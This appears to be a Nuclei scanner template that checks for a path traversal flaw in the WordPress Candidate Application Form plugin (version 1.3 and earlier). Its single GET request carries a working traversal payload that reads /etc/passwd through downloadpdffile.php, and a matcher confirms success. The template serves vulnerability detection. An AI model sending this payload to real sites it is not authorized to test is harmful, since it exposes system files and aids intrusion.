id: candidate-application-lfi

info:
  name: WordPress Candidate Application Form <= 1.3 - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: WordPress Candidate Application Form <= 1.3 is susceptible to arbitrary file downloads because the code in downloadpdffile.php does not do any sanity checks.
  reference:
    - https://wpscan.com/vulnerability/446233e9-33b3-4024-9b7d-63f9bb1dafe0
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-22
  tags: wordpress,wp-plugin,lfi,wp

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/04/21